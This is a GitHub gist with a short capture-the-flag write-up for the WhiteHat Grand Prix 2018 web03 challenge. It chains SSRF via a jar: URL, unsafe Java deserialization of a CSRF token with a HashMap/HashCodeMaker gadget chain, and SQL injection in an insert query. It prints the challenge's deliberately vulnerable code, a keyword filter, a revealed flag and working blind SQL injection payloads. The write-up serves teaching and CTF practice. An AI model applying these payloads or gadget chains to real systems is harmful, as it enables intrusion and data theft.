Last active
June 15, 2019 08:01
-
-
Save ducnhse130201/c41ee0690ab147ab3202ab385938c480 to your computer and use it in GitHub Desktop.
Short write-up and note for web3_whitehat_final_2018
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[+] web3 whitehat_final short write-up [+] | |
[+] Read this first (write-up from author): https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91 | |
[+] download this: https://docs.google.com/document/d/1VGLVi63DfIsopJSZJCFNDgz_2wPReAuvLNhDKR9JMH8/ and try to understand the code | |
[+] debug if you stuck somewhere or you can contact me :> | |
[+] If you want to rebuild the challenge contact me and i will give you source code | |
[+] short write-up [+] | |
[+] bug 1: ssrf on change avatar function (fetch from url or upload) => get resource from JarURLConnection, Refererence: https://docs.oracle.com/javase/7/docs/api/java/net/JarURLConnection.html | |
comment on login.jsp | |
<!--backup source at WebRoot/backup/backup.zip--> | |
<!--Try to get flag at WebRoot/secret.jsp--> | |
=> jar:file:/WebRoot/backup/backup.zip!/secret.jsp | |
=> get first flag and source code | |
<% | |
if (request.getSession().getAttribute("role") == null) { | |
response.sendRedirect("/login.jsp"); | |
return; | |
} | |
if (!request.getSession().getAttribute("role").equals("1337")) { | |
response.sendRedirect("/login.jsp"); | |
return; | |
} | |
%> | |
<%@page contentType="text/html" pageEncoding="UTF-8"%> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
<title>Secret page</title> | |
</head> | |
<body> | |
<h1>First flag: WhiteHat{f6d9c25797ffed2ddbe452675888ae16}</h1> | |
<h1>War file: https://docs.google.com/document/d/1VGLVi63DfIsopJSZJCFNDgz_2wPReAuvLNhDKR9JMH8/</h1> | |
</body> | |
</html> | |
[+] bug 2: java deserialization | |
[+] program flow: | |
login | |
=> checklogin | |
create csrf token (10 random chars) and set attribute session.setAttribute("random_text", random_text) (compare csrf token with random_text) , insert token to db, insert log to db, serialize Token object and set to Session, csrf token startwiths ("rO0") | |
Using filter to check csrf token (deserialization) ( @WebFilter(filterName = "CSRF_Filter", urlPatterns = {"/*"}) ) | Token t = DataUtils.getObject(req.getParameter("csrf_token")); | |
final T obj = (T) objectInputStream.readObject(); | |
=> unsecure deserialization endpoint | |
[+] finding gadget | |
[+] logManager.jsp return list of Token to show for user | |
if (request.getSession().getAttribute("role") == null) { | |
response.sendRedirect("/login.jsp"); | |
return; | |
} | |
Integer user_id = (Integer)session.getAttribute("user_id"); | |
Logger logger = new Logger(); | |
logger.setUser_id(user_id); | |
ArrayList<Logger> list = logger.getList(); // get list of logs to show | |
TokenManager tokenManager = new TokenManager(); | |
Token token = new Token(); | |
token.setUser_id(user_id); | |
tokenManager.setToken(token); | |
Collection collection = tokenManager.values(); | |
ArrayList<Token> arrayList = new ArrayList<Token>(collection); // get list of tokens to show | |
[+] chain trigger sqli | |
[+] tokenManager.values() | |
=> | |
public Collection values() { | |
if (map != null && map.size() > 0){ | |
return map.values(); | |
}else{ | |
return token.getList(); | |
} | |
} | |
[+] token.getList() | |
=> | |
public ArrayList<Token> getList() { | |
ResultSet rs = null; | |
PreparedStatement pstmt = null; | |
ArrayList<Token> arrayList = new ArrayList<>(); | |
try { | |
String select_query = String.format("select * from 9st0rm_token where user_id = %d order by id desc limit 8", user_id); | |
if (MysqlConnection.open()) { | |
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(select_query); | |
rs = pstmt.executeQuery(); | |
while (rs.next()) { | |
Token tk = new Token(); | |
tk.setId(rs.getInt("id")); | |
tk.setUser_id(rs.getInt("user_id")); | |
tk.setToken_value(rs.getString("token_value")); | |
arrayList.add(tk); | |
} | |
if (logger != null) { | |
if (StringUtils.isNotEmpty(logger.getEvent())) { | |
if (SecurityUtils.SQL_filter(logger.getEvent())){ | |
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent()); | |
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(insertLog_query); | |
pstmt.execute(); | |
}else{ | |
String mess = "filtered pattern = ([\\%#]|\\+|\\&|\\-|\\/\\/|into|>|<|file|case|group|order|offset|limit|and|xor|not|null|union|where|if|ascii|char|ord|case|when|div|mod)</br> Get flag from 9st0rm_s3cr3t"; | |
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, mess); | |
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(insertLog_query); | |
pstmt.execute(); | |
} | |
} | |
} | |
} | |
} catch (Exception e) { | |
} finally { | |
MysqlConnection.close(pstmt, rs); | |
} | |
return arrayList; | |
} | |
[+] using java reflection control Logger properties => control logger.getEvent() => sqli insert query (string concatenation) | |
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent()) | |
=> get flag | |
[+] chain java deserialization | |
Question: jdk not check which class is deserialized, so which class is suitable for us to reach sqli chain? | |
?? how to reach tokenManager.values() ?? | |
finding gadget like hashcode(), getKey(), getValue() in libraries of project using JDGUI (decompiler for jar file) | |
=> suitable gadget: public int hashCode() { return this.map.values().hashCode(); } in HashCodeMaker (commons-lang3-3.9.jar) | |
using Java Reflection API construct our payload with HashMap Object to trigger hashCode() in HashCodeMaker | |
HashMap hm = new HashMap(); | |
hm.put(HashCodeMaker Object, "foo"); | |
See more on readObject of HashMap class and debug to know how more | |
--- from readObject method of HashMap --- | |
for (int i = 0; i < mappings; i++) { | |
@SuppressWarnings("unchecked") | |
K key = (K) s.readObject(); | |
@SuppressWarnings("unchecked") | |
V value = (V) s.readObject(); | |
putVal(hash(key), key, value, false, false); | |
} | |
=> call hash(key) => hash(HashCodeMaker) | |
=> | |
static final int hash(Object key) { | |
int h; | |
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); | |
} | |
=> HashCodeMaker.hashCode() triggered | |
=> this.map.values().hashCode() | |
=> map.values() triggered | |
=> token.getList() | |
=> sqli insert query | |
=> get flag | |
[+] Payload | |
=> final gadget chain java deserialization to sqli => get flag | |
after login, each request go throgh csrf filter => intercept data => edit csrf token => inject serialized data | |
DataUtils.getObject(req.getParameter("csrf_token")); | |
objectInputStream.readObject(); // if you want to know how readObject work (debug more) | |
construct any Object from serialized data (due to jdk version), here's we want to construct HashMap | |
HashMap.readObject() | |
hash(key) | |
key.hashCode() | |
HashCodeMaker.hashCode() | |
this.map.values().hashCode() | |
token.getList() | |
sqli insert query | |
=> get flag | |
[+] bug 3: sqli in insert query | |
filtered pattern = ([\\%#]|\\+|\\&|\\-|\\/\\/|into|>|<|file|case|group|order|offset|limit|and|xor|not|null|union|where|if|ascii|char|ord|case|when|div|mod) | |
=> Get flag from 9st0rm_s3cr3t | |
Query: String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent()); | |
=> control logger.getEvent() from java deserialization | |
=> simple test: | |
logger.getEvent() = "1' ^ (SELECT sleep(5)) ^ '1" | |
=> query: "Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '1' ^ (SELECT sleep(5)) ^ '1')" => sleep 5 second | |
=> extract flag (convert char to num to ^ with 1), ascii,ord is filtered => use CONV(number, from_base, to_base) and HEX, conv(hex(extract_query_one_by_one_char),16,10) | |
logger.getEvent() = "1' ^ (SELECT CONV(HEX(SUBSTRING(flag,1,1)),16,10) FROM 9st0rm_s3cr3t) ^ '1" | |
=> query: "Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '1' ^ (SELECT CONV(HEX(SUBSTRING(flag,1,1)),16,10) FROM 9st0rm_s3cr3t) ^ '1')" | |
Refererence: https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91 | |
See also for: | |
https://www.guru99.com/java-reflection-api.html (Understanding java reflection API) | |
hhttps://nytrosecurity.com/2018/05/30/understanding-java-deserialization/ (some stuff for java deserialization) | |
https://web.archive.org/web/20190501081457/https://tint0.com/matesctf-2018-wutfaces-cve-2013-2165/ (practicing java deserialization and 1day analysis skills) | |
https://web.archive.org/web/20190501081357/https://tint0.com/when-el-injection-meets-java-deserialization/ (awesome oracle from deserialization exception to find suitable library, try it if you want) | |
https://github.com/frohoff/ysoserial (ysoserial chains) | |
System.out.println("Thanks for reading. Have a nice weekend !!!"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment